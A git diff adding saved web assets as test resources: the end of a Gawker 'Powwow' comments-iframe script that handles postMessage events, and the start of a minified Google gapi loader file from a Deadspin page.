+ sendMessage({type: 'getCommentOffset', comment_id: comment_id, callback: callback_fn});
+ }
+
+ };
+
+ /**
+ * Powwow.scrollTop scrolls to the top of the iframe
+ * @public
+ */
+ Powwow.scrollTop = function (config) {
+ sendMessage({type: 'scrollTop'});
+ };
+
+ /**
+ * Powwow.reset resets powwow state to default
+ * @public
+ */
+ Powwow.reset = function () {
+ is_loaded = false;
+ comment_data = {};
+ deferred_messages = [];
+ $iframe = null;
+ };
+
+ /**
+ * Returns the Powwow iframe object
+ * @returns {jQuery nodeset} Powwow iframe object
+ * @private
+ */
+ function getIframe() {
+ return $iframe || $('#' + iframe_id);
+ }
+
+ /**
+ * Returns the iframe src attribute to be used in iframe postMessage
+ * Passes the parent page url in the location.hash for older browsers to work
+ * @returns {String} Powwow iframe source URL
+ * @private
+ */
+ function getIframeSrc() {
+ var suffix = [],
+ indexPage = 'conversation.html';
+
+ if (debugAssets) { suffix.push('debug-assets=true'); }
+ if (mobile) { suffix.push('mobile=true'); }
+ if (type === 'admin') { indexPage = 'admin.html'; }
+
+ return getIframe().data('src') + indexPage + (suffix.length ? '?' + suffix.join('&') : '') + '#' + encodeURIComponent(window.location.href);
+ }
+
+ /**
+ * Wrapper for jQuery.postMessage plugin, sends a message to Powwow iframe
+ * Store the message in deferred_messages array if Powwow is not loaded yet,
+ * and run it when Powwow starts up
+ * @param {Object} params
+ * @private
+ */
+ function sendMessage(params) {
+ if (is_loaded) {
+ $.postMessage(stringify(params || {}), getIframeSrc(), getIframe().get(0).contentWindow);
+ } else {
+ deferred_messages.push(params);
+ }
+ }
+
+ function getIframeOrigin() {
+ var url = getIframe().data('src');
+ var match = url.match(/https?:\/\/[^\/]+/i);
+ var origin = match.length ? match[0] : null;
+ return origin;
+ }
+
+ /**
+ * Callback to handle iframe postMessage (MessageEvent) events
+ */
+ function onMessage(e) {
+ var message_data = (e.data !== undefined) ? parse(e.data) : {};
+
+ // passthrough if not a message for us
+ if (message_data === undefined) {
+ return true;
+ }
+
+ // stop event propagation if message was catched
+ var pass_event = true,
+ i;
+
+ // trigger an old-school widget event
+ if (typeof(GawkerClientside) !== "undefined" && typeof(GawkerClientside.widgets.notificationControl) !== "undefined") {
+ if (message_data.type !== undefined) {
+ GawkerClientside.widgets.notificationControl[0].raiseEvent('powwow.' + message_data.type, message_data);
+ }
+ }
+
+ switch (message_data.type) {
+
+ // handle iframe size change messages
+ // if hidden mode setting is true, iframe should remain hidden, so we don't update the iframes height
+ case 'iframeUpdated':
+ if (!hidden_mode) {
+ getIframe().css({height: message_data.height});
+ }
+ pass_event = false;
+ break;
+
+ // handle powwow app loaded messages
+ case 'powwowLoaded':
+ // hide spinner
+ $('#comments .spinner').remove();
+
+ // set is_loaded to true and run deferred calls
+ is_loaded = true;
+ // send deferred messages to powwow before loading comments
+ if (deferred_messages.length > 0) {
+ for (i in deferred_messages) {
+ if (deferred_messages.hasOwnProperty(i)) {
+ sendMessage(deferred_messages[i]);
+ }
+ }
+ deferred_messages = [];
+ }
+ // load comments
+ sendMessage({type: 'loadComments', data: comment_data});
+ pass_event = false;
+ break;
+
+ // handle external link messages
+ case 'gotoLink':
+ if (message_data.url !== undefined) {
+ window.location.href = message_data.url;
+ }
+ pass_event = false;
+ break;
+
+ // handle iframe takeover clicks
+ case 'takeoverClickWatch':
+ if (message_data.action === 'start') {
+ $(window).click(
+ function (e) {
+ sendMessage({type: 'removeOverlay'});
+ }
+ );
+ } else if (message_data.action === 'stop') {
+ $(window).unbind("click");
+ }
+ pass_event = false;
+ break;
+
+ // scroll to top
+ case 'scrollTop':
+ jQuery.scrollTo('#comments');
+ pass_event = false;
+ break;
+
+ // display email invite dialog
+ case 'inviteRequest':
+ /**
+ * Raise a "inviteRequest" event on parent window to start up email invite panel
+ */
+ $('body').trigger('inviteRequest', [message_data.comment, message_data.rootUrl, message_data.rootTitle]);
+ pass_event = false;
+ break;
+
+ // start guest panel
+ case 'loginRequired':
+ /**
+ * Raise a "loginRequest" event on parent window to start up presence login panel
+ */
+ $('body').trigger('loginRequest', {});
+ pass_event = false;
+ break;
+
+ // handle image load events
+ case 'showImage':
+ // open lytebox and store the reference to overlay object
+ Powwow.lytebox_overlay = jQuery('#comments').lytebox('display', {url: message_data.url});
+ pass_event = false;
+ break;
+
+ // handle image close events
+ case 'closeImage':
+ // close existing lytebox overlay
+ if (Powwow.lytebox_overlay !== undefined) {
+ jQuery('#comments').lytebox('destroy', {overlay: Powwow.lytebox_overlay});
+ Powwow.lytebox_overlay = null;
+ }
+ pass_event = false;
+ break;
+
+ // handle video overlay
+ case 'showVideo':
+ var video_overlay = null;
+ var video_element = null;
+ var removeVideo = function () {
+ // undelegate and remove
+ $(document).undelegate('body', 'keydown', keyDownHandler);
+ video_element.undelegate('.glinside, .glclose', 'click', removeVideo);
+ if (video_overlay !== null) {
+ video_overlay.remove();
+ video_overlay = null;
+ }
+ if (video_element !== null) {
+ video_element.remove();
+ video_element = null;
+ }
+ $('object, embed, iframe').css('visibility', '');
+ };
+ var keyDownHandler = function (e) {
+ if (e.keyCode === 27 || e.keyCode === 67 || e.keyCode === 88) {
+ removeVideo();
+ return false;
+ }
+ };
+
+ // prepare elements to add
+ if (video_overlay === null) {
+ video_overlay = $('<div id="glOverlay" style="opacity: 0.6;"></div>');
+ }
+ if (video_element === null) {
+ var video_top = Math.floor(window.innerHeight - 360) / 2;
+ if (video_top < 0) video_top = 0;
+ video_element = $('<div id="glBox"><div class="glinside"><span class="glicon glclose"></span><div class="glimagewrapper" style="position:relative; top:' + video_top + 'px">' + message_data.url + '</div></div></div>');
+ }
+ // hide flash objects
+ $('object, embed, iframe').css('visibility', 'hidden');
+
+ // add elements to DOM and add close handlers
+ video_overlay.appendTo($('body')).fadeIn(100, function () {
+ video_element.appendTo($('body'));
+ video_element.delegate('.glinside, .glclose', 'click', removeVideo);
+ });
+ window.focus();
+ $(document).delegate('body', 'keydown', keyDownHandler);
+
+ pass_event = false;
+ break;
+
+ // handle comment offset replies
+ case 'commentOffset':
+ if (message_data.callback && $.isFunction(window[message_data.callback])) {
+ window[message_data.callback](message_data.offset);
+ delete window[message_data.callback];
+ }
+ pass_event = false;
+ break;
+
+ // handle comment scrollto event
+ case 'scrollToComment':
+ window.setTimeout(function() {
+ if (message_data.id !== undefined) {
+ Powwow.getCommentOffset(message_data.id, function (offset) {
+ if (offset) {
+ var top = Powwow.getIframeOffset().top + offset.top - 60;
+ jQuery(document).stop().scrollTo(top, {
+ duration: message_data.scroll_time || 125,
+ easing: message_data.easing || 'linear'
+ });
+ }
+ });
+ }
+ }, message_data.timeout || 1000);
+ pass_event = false;
+ break;
+
+ // handle comment scrollto event
+ case 'scrollToOffset':
+ var target = null;
+ if (typeof message_data !== undefined) {
+ // scroll window only when the replyform would go outside of our viewport
+ if (message_data.isreply) {
+ var formTop = Powwow.getIframeOffset().top + message_data.offset.top;
+ var viewPortBottom = window.pageYOffset + window.innerHeight;
+ if (viewPortBottom < formTop + 142) {
+ target = formTop - window.innerHeight + 150;
+ }
+ } else {
+ //scroll to element
+ target = Powwow.getIframeOffset().top + message_data.offset.top;
+ }
+ }
+ if (target !== null) {
+ jQuery(document).stop().scrollTo(target, 125);
+ }
+
+ pass_event = false;
+ break;
+
+ // handle permalink change events
+ case 'setUrl':
+ if (typeof history.pushState !== 'undefined' && message_data.url !== undefined) {
+ if (message_data.mode === 'redirect') {
+ // when empty get rid of commment parameter only, keep everything else
+ window.location.href = (message_data.url === '') ? window.location.pathname : message_data.url;
+ } else {
+ var url = '';
+ var leftover = jQuery.map(window.location.search.substring(1).split('&'), function (e) {
+ return (e.indexOf('comment=') !== -1 || e.indexOf('post=') !== -1) ? '': e;
+ });
+ // filter empty values from array
+ var urlparts = [];
+ for (var i in leftover) {
+ if (leftover.hasOwnProperty(i) && leftover[i] !== '') {
+ urlparts.push(leftover[i]);
+ }
+ }
+ // create url to set
+ if (message_data.url !== '') {
+ urlparts.push((message_data.url.indexOf('?') === 0) ? message_data.url.substring(1) : message_data.url);
+ } else {
+ url = window.location.pathname;
+ }
+ // re-append existing parameters
+ if (urlparts.length > 0) {
+ url = url + '?' + urlparts.join('&');
+ }
+ if (message_data.mode === 'push') {
+ history.pushState(url, document.title, url);
+ } else {
+ history.replaceState(url, document.title, url);
+ }
+ }
+ }
+ pass_event = false;
+ break;
+
+ // track GA datas comes from iframe (twitter/fb/url share, bottom link click)
+ case 'social_track':
+ if (typeof _gaq !== 'undefined') { _gaq.push(['_trackEvent', message_data.cat, message_data.action]); }
+
+ case 'chartbeat':
+ var _cbq = window._cbq || [];
+ if (typeof _cbq !== 'undefined') {
+ _cbq.push([message_data.cat, message_data.action]);
+ }
+ break;
+
+ case 'adminErrorMessage':
+ if (typeof showError === "function") {
+ showError(message_data.message || "Powwow error. Please, try again");
+ }
+ break;
+
+ // remove site recommending module
+ case 'removeSitesModule':
+ jQuery('#sitetags').remove();
+ break;
+ }
+
+ // pass event if needed
+ return pass_event;
+
+
+ }
+
+ function loadIframe() {
+ $.receiveMessage(onMessage, getIframeOrigin());
+ getIframe().attr('src', getIframeSrc());
+ }
+
+ /**
+ * Ganja login and logout event handler
+ */
+ $(window).bind('user.auth.success user.auth.failure', Powwow.loadUser);
+
+ /**
+ * Popstate change event
+ * Add an initial timeout, because Webkit based browsers fire an empty popstate event right after the load event
+ * and there's no way to differentiate this initial event from a user initiated one
+ */
+ window.addEventListener('load', function() {
+ setTimeout(function() {
+ $(window).bind('popstate', function (e) {
+ var original_event = e.originalEvent;
+ sendMessage({
+ type: original_event.type,
+ state: original_event.state,
+ timeStamp: original_event.timeStamp
+ });
+ });
+ }, 100);
+ });
+
+
+}(jQuery));
diff --git a/src/test/resources/s/deadspin_files/cb=gapi.loaded_0 b/src/test/resources/s/deadspin_files/cb=gapi.loaded_0
new file mode 100644
index 0000000..dd9aa78
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/cb=gapi.loaded_0
@@ -0,0 +1,208 @@
+/* JS */ gapi.loaded_0(function(_){var window=this;
+_.m=function(a){throw a;};_.p=void 0;_.r=!0;_.s=null;_.u=!1;_.aa=function(){return function(a){return a}};_.v=function(){return function(){}};_.ba=function(a){return function(c){this[a]=c}};_.y=function(a){return function(){return this[a]}};_.ca=function(a){return function(){return a}};_.C=function(a,c,f){a=a.split(".");f=f||_.D;!(a[0]in f)&&f.execScript&&f.execScript("var "+a[0]);for(var g;a.length&&(g=a.shift());)!a.length&&(0,_.F)(c)?f[g]=c:f=f[g]?f[g]:f[g]={}};
+_.da=function(a){var c=typeof a;if("object"==c)if(a){if(a instanceof window.Array)return"array";if(a instanceof window.Object)return c;var f=window.Object.prototype.toString.call(a);if("[object Window]"==f)return"object";if("[object Array]"==f||"number"==typeof a.length&&"undefined"!=typeof a.splice&&"undefined"!=typeof a.propertyIsEnumerable&&!a.propertyIsEnumerable("splice"))return"array";if("[object Function]"==f||"undefined"!=typeof a.call&&"undefined"!=typeof a.propertyIsEnumerable& [...]
+else if("function"==c&&"undefined"==typeof a.call)return"object";return c};_.F=function(a){return a!==_.p};_.ea=function(a){return"array"==(0,_.da)(a)};_.G=function(a){return"string"==typeof a};_.ga=function(a){return"function"==(0,_.da)(a)};_.ha=function(a){var c=typeof a;return"object"==c&&a!=_.s||"function"==c};_.ia=function(a,c,f){return a.call.apply(a.bind,arguments)};
+_.ja=function(a,c,f){a||(0,_.m)((0,window.Error)());if(2<arguments.length){var g=window.Array.prototype.slice.call(arguments,2);return function(){var f=window.Array.prototype.slice.call(arguments);window.Array.prototype.unshift.apply(f,g);return a.apply(c,f)}}return function(){return a.apply(c,arguments)}};_.H=function(a,c,f){_.H=window.Function.prototype.bind&&-1!=window.Function.prototype.bind.toString().indexOf("native code")?_.ia:_.ja;return _.H.apply(_.s,arguments)};
+_.la=function(a,c){var f=window.Array.prototype.slice.call(arguments,1);return function(){var c=window.Array.prototype.slice.call(arguments);c.unshift.apply(c,f);return a.apply(this,c)}};_.I=function(a,c){function f(){}f.prototype=c.prototype;a.v=c.prototype;a.prototype=new f;a.prototype.constructor=a};_._DumpException=function(a){(0,_.m)(a)};_.ma=_.ma||{};_.D=this;_.na="closure_uid_"+window.Math.floor(2147483648*window.Math.random()).toString(36);_.oa=window.Date.now||function(){return+ [...]
+_.pa=window.gapi||{};_.ra=window.gadgets||{};_.L=window.osapi=window.osapi||{};
+window.___jsl=window.___jsl||{};
+(window.___jsl.cd=window.___jsl.cd||[]).push({gwidget:{parsetags:"explicit"},appsapi:{plus_one_service:"/plus/v1"},client:{jsonpOverride:_.u},poshare:{hangoutContactPickerServer:"https://plus.google.com"},gappsutil:{required_scopes:["https://www.googleapis.com/auth/plus.me","https://www.googleapis.com/auth/plus.people.recommended"],display_on_page_ready:_.u},appsutil:{required_scopes:["https://www.googleapis.com/auth/plus.me","https://www.googleapis.com/auth/plus.people.recommended"],dis [...]
+"oauth-flow":{authUrl:"https://accounts.google.com/o/oauth2/auth",proxyUrl:"https://accounts.google.com/o/oauth2/postmessageRelay",redirectUri:"postmessage"},iframes:{sharebox:{params:{json:"&"},url:":socialhost:/:session_prefix:_/sharebox/dialog"},plus:{url:":socialhost:/u/:session_index:/_/pages/badge"},":socialhost:":"https://plusone.google.com",card:{params:{s:"#",userid:"&"},url:":socialhost:/:session_prefix:_/hovercard/internalcard"},":signuphost:":"https://plus.google.com",plusone [...]
+plus_share:{url:":socialhost:/:session_prefix:_/+1/sharebutton?plusShare=true"},plus_circle:{url:":socialhost:/:session_prefix:_/widget/plus/circle"},configurator:{url:":socialhost:/:session_prefix:_/plusbuttonconfigurator"},appcirclepicker:{url:":socialhost:/:session_prefix:_/widget/render/appcirclepicker"},":source:":"1p"},poclient:{update_session:"google.updateSessionCallback"},"googleapis.config":{methods:{"chili.people.list":_.r,"pos.plusones.list":_.r,"pos.plusones.get":_.r,"chili. [...]
+"pos.plusones.insert":_.r,"chili.activities.list":_.r,"pos.plusones.delete":_.r,"chili.activities.get":_.r,"chili.activities.search":_.r,"pos.plusones.getSignupState":_.r},requestCache:{enabled:_.r},versions:{chili:"v1",pos:"v1"},rpc:"/rpc",root:"https://www.googleapis.com","root-1p":"https://clients6.google.com",sessionCache:{enabled:_.r},transport:{isProxyShared:_.r},xd3:"/static/proxy.html",developerKey:"AIzaSyCKSbrvQasunBoV16zDH9R33D88CeLr9gQ",auth:{useInterimAuth:_.u}},drive_saver:{ [...]
+
+window.___jsl=window.___jsl||{};(window.___jsl.cd=window.___jsl.cd||[]).push({gwidget:{parsetags:"onload"},iframes:{":source:":"3p"}});
+_.ta=function(a,c,f){return a[c]=a[c]||f};_.ua=function(a){return"function"===typeof a};_.va=function(a){return(0,window.String)(a).replace(_.wa,"&").replace(_.xa,"<").replace(_.ya,">").replace(_.za,""").replace(_.Aa,"'")};_.N=function(){var a;if((a=window.Object.create)&&_.Ba.test(a))a=a(_.s);else{a={};for(var c in a)a[c]=_.p}return a};_.Ca=function(a,c){return window.Object.prototype.hasOwnProperty.call(a,c)};_.Da=function(a,c){a=a||{};for(var f in a)(0,_.Ca)(a,f)&&( [...]
+_.Ea=function(a,c){a||(0,_.m)((0,window.Error)(c||""))};_.Fa=function(a,c,f){var g=(0,window.RegExp)("([#].*&|[#])"+c+"=([^&#]*)","g");c=(0,window.RegExp)("([?#].*&|[?#])"+c+"=([^&#]*)","g");if(a=a&&(g.exec(a)||c.exec(a)))try{f=(0,window.decodeURIComponent)(a[2])}catch(h){}return f};_.Ga=function(a){a=a.match(_.Ha);var c=(0,_.N)();c.Ac=a[1];c.pb=a[3]?[a[3]]:[];c.Yf=a[5]?[a[5]]:[];return c};
+_.Ia=function(a){a=a?a.split("&"):[];for(var c=[],f=0;f<a.length;f++){var g=a[f].split("=",2);c.push([(0,window.decodeURIComponent)(g[0]),(0,window.decodeURIComponent)(g[1])])}return c};_.Ja=function(a){return a.Ac+(0<a.pb.length?"?"+a.pb.join("&"):"")+(0<a.Yf.length?"#"+a.Yf.join("&"):"")};_.Ka=function(a){var c=[];if(a)for(var f in a)(0,_.Ca)(a,f)&&a[f]!=_.s&&c.push((0,window.encodeURIComponent)(f)+"="+(0,window.encodeURIComponent)(a[f]));return c};
+_.La=function(a,c,f){a=(0,_.Ga)(a);a.pb.push.apply(a.pb,(0,_.Ka)(c));a.Yf.push.apply(a.Yf,(0,_.Ka)(f));return(0,_.Ja)(a)};_.Ma=function(a,c){var f=a.createElement("div"),g=a.createElement("a");g.href=c;f.appendChild(g);f.innerHTML=f.innerHTML;c=(0,window.String)(f.firstChild.href);f.parentNode&&f.parentNode.removeChild(f);return c};_.Na=function(a){for(;a.firstChild;)a.removeChild(a.firstChild)};_.Oa=function(a){return!_.Pa.dpo?(0,_.Fa)(a,"jsh",_.Pa.h):_.Pa.h};
+_.Qa=function(a){return(0,_.Fa)(a,"_bsh",_.Pa.bsh)};_.Ra=function(){return(0,_.ta)(_.Pa,"WI",(0,_.N)())};_.Sa=function(){return _.Pa.ssfn};_.Ta=function(){return _.Pa.onl};_.Ua=function(a){_.Pa.onl=a};_.Va=function(a){var c=window.___jsl=window.___jsl||{};c[a]=c[a]||[];return c[a]};_.Wa=function(a){var c=window.___jsl=window.___jsl||{};c.cfg=!a&&c.cfg||{};return c.cfg};_.Xa=function(a){return"object"===typeof a&&/\[native code\]/.test(a.push)};
+_.Ya=function(a,c){if(c)for(var f in c)c.hasOwnProperty(f)&&(a[f]&&c[f]&&"object"===typeof a[f]&&"object"===typeof c[f]&&!(0,_.Xa)(a[f])&&!(0,_.Xa)(c[f])?(0,_.Ya)(a[f],c[f]):c[f]&&"object"===typeof c[f]?(a[f]=(0,_.Xa)(c[f])?[]:{},(0,_.Ya)(a[f],c[f])):a[f]=c[f])};
+_.Za=function(a){if(a&&!/^\s+$/.test(a)){for(;0==a.charCodeAt(a.length-1);)a=a.substring(0,a.length-1);var c;try{c=window.JSON.parse(a)}catch(f){}if("object"===typeof c)return c;try{c=(new window.Function("return ("+a+"\n)"))()}catch(g){}if("object"===typeof c)return c;try{c=(new window.Function("return ({"+a+"\n})"))()}catch(h){}return"object"===typeof c?c:{}}};
+_.$a=function(a){(0,_.Wa)(_.r);var c=window.___gcfg,f=(0,_.Va)("cu");if(c&&c!==window.___gu){var g={};(0,_.Ya)(g,c);f.push(g);window.___gu=c}var c=(0,_.Va)("cu"),h=window.document.scripts||window.document.getElementsByTagName("script")||[],g=[],l=[];l.push.apply(l,(0,_.Va)("us"));for(var n=0;n<h.length;++n)for(var q=h[n],t=0;t<l.length;++t)q.src&&0==q.src.indexOf(l[t])&&g.push(q);0==g.length&&(0<h.length&&h[h.length-1].src)&&g.push(h[h.length-1]);for(h=0;h<g.length;++h)g[h].getAttribute( [...]
+(g[h].setAttribute("gapi_processed",_.r),(l=g[h])?(n=l.nodeType,l=3==n||4==n?l.nodeValue:l.textContent||l.innerText||l.innerHTML||""):l=_.p,(l=(0,_.Za)(l))&&c.push(l));a&&(g={},(0,_.Ya)(g,a),f.push(g));g=(0,_.Va)("cd");a=0;for(c=g.length;a<c;++a)(0,_.Ya)((0,_.Wa)(),g[a]);g=(0,_.Va)("ci");a=0;for(c=g.length;a<c;++a)(0,_.Ya)((0,_.Wa)(),g[a]);a=0;for(c=f.length;a<c;++a)(0,_.Ya)((0,_.Wa)(),f[a])};
+_.O=function(a,c){if(!a)return(0,_.Wa)();for(var f=a.split("/"),g=(0,_.Wa)(),h=0,l=f.length;g&&"object"===typeof g&&h<l;++h)g=g[f[h]];return h===f.length&&g!==_.p?g:c};_.ab=function(a,c){var f=a;if("string"===typeof a){for(var g=f={},h=a.split("/"),l=0,n=h.length;l<n-1;++l)var q={},g=g[h[l]]=q;g[h[l]]=c}(0,_.$a)(f)};_.bb=function(){var a=window.__GOOGLEAPIS;a&&(a.googleapis&&!a["googleapis.config"]&&(a["googleapis.config"]=a.googleapis),(0,_.ta)(_.Pa,"ci",[]).push(a),window.__GOOGLEAPIS= [...]
+_.db=window;_.eb=window.document;_.Ba=/\[native code\]/;_.wa=/&/g;_.xa=/</g;_.ya=/>/g;_.za=/"/g;_.Aa=/'/g;_.fb=(0,_.ta)(_.db,"gapi",{});_.Ha=/^([^?#]*)(\?([^#]*))?(\#(.*))?$/;_.Pa=(0,_.ta)(_.db,"___jsl",(0,_.N)());(0,_.ta)(_.Pa,"I",0);(0,_.ta)(_.Pa,"hel",10);_.bb&&(0,_.bb)();(0,_.$a)();(0,_.P)("gapi.config.get",_.O);(0,_.P)("gapi.config.update",_.ab);
+
+_.lb=function(a,c,f,g,h){if(a[g+"EventListener"])a[g+"EventListener"](c,f,_.u);else if(a[h+"tachEvent"])a[h+"tachEvent"]("on"+c,f)};
+_.mb={go:{},J:{}};_.nb={go:{},J:{}};
+
+
+_.R=_.R||{};
+_.R=_.R||{};_.R.Hg=function(a,c,f){for(var g=[],h=2,l=arguments.length;h<l;++h)g.push(arguments[h]);return function(){for(var f=g.slice(),h=0,l=arguments.length;h<l;++h)f.push(arguments[h]);return c.apply(a,f)}};_.R.of=function(a){var c,f,g={};for(c=0;f=a[c];++c)g[f]=f;return g};
+
+_.ub=function(a,c){return window.String.fromCharCode(c)};_.R=_.R||{};_.vb={"0":_.u,10:_.r,13:_.r,34:_.r,39:_.r,60:_.r,62:_.r,92:_.r,8232:_.r,8233:_.r,65282:_.r,65287:_.r,65308:_.r,65310:_.r,65340:_.r};_.R.escape=function(a,c){if(a){if("string"===typeof a)return _.R.Tf(a);if("array"===typeof a)for(var f=0,g=a.length;f<g;++f)a[f]=_.R.escape(a[f]);else if("object"===typeof a&&c){f={};for(g in a)a.hasOwnProperty(g)&&(f[_.R.Tf(g)]=_.R.escape(a[g],_.r));return f}}return a}; _.R.Tf=function(a){ [...]
+
+_.zb=_.zb||{};_.zb.bl=function(){var a=0,c=0;window.self.innerHeight?(a=window.self.innerWidth,c=window.self.innerHeight):window.document.documentElement&&window.document.documentElement.clientHeight?(a=window.document.documentElement.clientWidth,c=window.document.documentElement.clientHeight):window.document.body&&(a=window.document.body.clientWidth,c=window.document.body.clientHeight);return{width:a,height:c}};
+
+_.Ab=function(a,c){window.getComputedStyle(a,"").getPropertyValue(c).match(/^([0-9]+)/);return(0,window.parseInt)(window.RegExp.$1,10)};_.zb=_.zb||{};
+_.zb.fi=function(){var a=_.zb.bl().height,c=window.document.body,f=window.document.documentElement;if("CSS1Compat"===window.document.compatMode&&f.scrollHeight)return f.scrollHeight!==a?f.scrollHeight:f.offsetHeight;if(0<=window.navigator.userAgent.indexOf("AppleWebKit")){a=0;for(c=[window.document.body];0<c.length;){var g=c.shift(),f=g.childNodes;if("undefined"!==typeof g.style){var h=g.style.overflowY;h||(h=(h=window.document.defaultView.getComputedStyle(g,_.s))?h.overflowY:_.s);if("vi [...]
+"inherit"!=h&&(h=g.style.height,h||(h=(h=window.document.defaultView.getComputedStyle(g,_.s))?h.height:""),0<h.length&&"auto"!=h))continue}for(g=0;g<f.length;g++){h=f[g];if("undefined"!==typeof h.offsetTop&&"undefined"!==typeof h.offsetHeight)var l=h.offsetTop+h.offsetHeight+(0,_.Ab)(h,"margin-bottom"),a=window.Math.max(a,l);c.push(h)}}return a+(0,_.Ab)(window.document.body,"border-bottom")+(0,_.Ab)(window.document.body,"margin-bottom")+(0,_.Ab)(window.document.body,"padding-bottom")}if( [...]
+
+_.Vc=window.gapi&&window.gapi.util||{};
+_.Wc=_.Vc=_.Vc||{};_.Xc={Tj:"bsh",$j:"h"};window.___jsl=window.___jsl||{};_.Wc.Ah={b:function(){return window.___jsl[_.Xc.Tj]},Tk:function(){return window.___jsl[_.Xc.$j]},tj:function(a){window.___jsl[_.Xc.Tj]=a},Ps:function(a){window.___jsl[_.Xc.$j]=a}};
+
+if(window.JSON&&window.JSON.parse&&window.JSON.stringify){_.ob=function(a){return this[a]};_.pb=/___$/;_.Q={parse:function(a){try{return window.JSON.parse(a)}catch(c){return _.u}},stringify:function(a){function c(a){return f.call(this,a,_.ob)}var f=window.JSON.stringify,g=window.Array.prototype.toJSON&&'"[{\\"x\\": 1}]"'===f([{x:1}])?c:f;try{return g(a,function(a,c){return!_.pb.test(a)?c:_.p})}catch(h){return _.s}}}};
+if(!window.JSON||!window.JSON.parse||!window.JSON.stringify)_.Q=function(){function a(a){return 10>a?"0"+a:a}function c(a){var h,l,n;h=/[\"\\\x00-\x1f\x7f-\x9f]/g;switch(typeof a){case "string":return h.test(a)?'"'+a.replace(h,function(a){var c=f[a];if(c)return c;c=a.charCodeAt();return"\\u00"+window.Math.floor(c/16).toString(16)+(c%16).toString(16)})+'"':'"'+a+'"';case "number":return(0,window.isFinite)(a)?(0,window.String)(a):"null";case "boolean":case "null":return(0,window.String)(a) [...]
+h=[];if("number"===typeof a.length&&!a.propertyIsEnumerable("length")){n=a.length;for(l=0;l<n;l+=1)h.push(c(a[l])||"null");return"["+h.join(",")+"]"}for(l in a)!/___$/.test(l)&&a.hasOwnProperty(l)&&"string"===typeof l&&(n=c(a[l]))&&h.push(c(l)+":"+n);return"{"+h.join(",")+"}"}return""}window.Date.prototype.toJSON=function(){return[this.getUTCFullYear(),"-",a(this.getUTCMonth()+1),"-",a(this.getUTCDate()),"T",a(this.getUTCHours()),":",a(this.getUTCMinutes()),":",a(this.getUTCSeconds()),"Z [...]
+var f={"\b":"\\b","\t":"\\t","\n":"\\n","\f":"\\f","\r":"\\r",'"':'\\"',"\\":"\\\\"};return{stringify:c,parse:function(a){return/^[\],:{}\s]*$/.test(a.replace(/\\["\\\/b-u]/g,"@").replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,"]").replace(/(?:^|:|,)(?:\s*\[)+/g,""))?eval("("+a+")"):_.u}}}();
+_.Q.Ik=function(a){var c={};if(a===_.s||a===_.p)return c;for(var f in a)if(a.hasOwnProperty(f)){var g=a[f];_.s===g||_.p===g||(c[f]="string"===typeof g?g:_.Q.stringify(g))}return c};(0,_.P)("gadgets.json.flatten",_.Q.Ik);(0,_.P)("gadgets.json.parse",_.Q.parse);(0,_.P)("gadgets.json.stringify",_.Q.stringify);(0,_.P)("gadgets.json.flatten",_.Q.Ik);(0,_.P)("gadgets.json.parse",_.Q.parse);(0,_.P)("gadgets.json.stringify",_.Q.stringify);
+
+_.R=_.R||{};_.Bb=[];_.R.Zv=function(a){_.Bb.push(a)};_.R.ew=function(){for(var a=0,c=_.Bb.length;a<c;++a)_.Bb[a]()};
+_.wb=function(a){for(var c=0;c<this.length;c++)if(this[c]===a)return c;return-1};_.R=_.R||{};_.xb=_.s;
+_.R.qa=function(a){var c="undefined"===typeof a;if(_.xb!==_.s&&c)return _.xb;var f={};a=a||window.document.location.href;var g=a.indexOf("?"),h=a.indexOf("#");a=(-1===h?a.substr(g+1):[a.substr(g+1,h-g-1),"&",a.substr(h+1)].join("")).split("&");for(var g=window.decodeURIComponent?window.decodeURIComponent:window.unescape,h=0,l=a.length;h<l;++h){var n=a[h].indexOf("=");if(-1!==n){var q=a[h].substring(0,n),n=a[h].substring(n+1),n=n.replace(/\+/g," ");try{f[q]=g(n)}catch(t){}}}c&&(_.xb=f);re [...]
+(0,_.P)("gadgets.util.getUrlParameters",_.R.qa);
+_.Db=window.gadgets&&window.gadgets.config&&window.gadgets.config.get;_.Db&&(0,_.ab)((0,_.Db)());_.Cb={S:function(a,c,f){f&&f((0,_.O)())},get:function(a){return(0,_.O)(a)},update:function(a,c){c&&(0,_.m)("Config replacement is not supported");(0,_.ab)(a)},ga:(0,_.v)()};
+(0,_.P)("gadgets.config.register",_.Cb.S);(0,_.P)("gadgets.config.get",_.Cb.get);(0,_.P)("gadgets.config.init",_.Cb.ga);(0,_.P)("gadgets.config.update",_.Cb.update);
+_.Eb=_.Eb||{};_.Eb.Nm=_.s;_.Eb.fm=_.s;_.Eb.ug=_.s;_.Eb.frameElement=_.s;_.Eb=_.Eb||{};
+if(!_.Eb.Qj){_.Hb=function(a){var c=_.Q.parse(a.data);if(c&&c.f){var f=_.S.be(c.f);(!_.Fb||!("undefined"!==typeof a.origin?a.origin!==f:a.domain!==/^.+:\/\/([^:]+).*/.exec(f)[1]))&&(0,_.Gb)(c,a.origin)}};_.Fb=_.r;_.Eb.Qj={Qk:(0,_.ca)("wpm"),b:(0,_.ca)(_.r),ga:function(a,c){_.Cb.S("rpc",_.s,function(a){if("true"===(0,window.String)((a&&a.rpc||{}).disableForceSecure))_.Fb=_.u});_.Gb=a;_.Ib=c;"undefined"!=typeof window.addEventListener?window.addEventListener("message",_.Hb,_.u):"undefined" [...]
+window.attachEvent("onmessage",_.Hb);window.___jsl=window.___jsl||{};var f=window.___jsl;f.RPMQ=f.RPMQ||[];f.RPMQ.push(_.Hb);(0,_.Ib)("..",_.r);return _.r},vf:function(a){(0,_.Ib)(a,_.r);return _.r},call:function(a,c,f){var g=_.S.be(a),h=_.S.kk(a);g?window.setTimeout(function(){h.postMessage(_.Q.stringify(f),g)},0):".."!=a&&(0,_.sa)("No relay set (used as window.postMessage targetOrigin), cannot send cross-domain message");return _.r}}};
+_.Eb=_.Eb||{};
+if(!_.Eb.Xf){_.Jb=_.Eb;_.Mb=function(a,c){function f(){a.apply({},arguments)}_.Kb[c]=_.Kb[c]||f;return _.Lb+"."+c};_.Tb=function(){if(_.Nb===_.s&&window.document.body&&_.Ob){var a=_.Ob+"?cb="+window.Math.random()+"&origin="+_.Pb+"&jsl=1",c=window.document.createElement("div");c.style.height="1px";c.style.width="1px";a='<object height="1" width="1" id="'+_.Qb+'" type="application/x-shockwave-flash"><param name="allowScriptAccess" value="always"></param><param name="movie" value="'+a+'"></ [...]
